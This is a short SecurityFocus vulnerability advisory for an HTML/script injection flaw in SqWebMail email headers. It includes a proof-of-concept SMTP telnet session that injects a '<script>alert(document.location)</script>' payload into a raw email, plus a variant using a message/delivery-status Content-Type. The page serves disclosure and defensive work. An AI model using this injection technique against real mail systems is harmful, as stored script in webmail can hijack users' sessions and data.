SqWebMail Email Header HTML Injection Vulnerability

The following example is available:

1) sending a raw email message with malformed headers, i.e.
"<script>alert(document.location)</script>":

ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<test@test.com>
250 ok
rcpt to:<user@mediaservice.net>
250 ok
data
354 go ahead
<script>alert(document.location)</script>
.
[...]

2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above).


 

Privacy Statement
Copyright 2010, SecurityFocus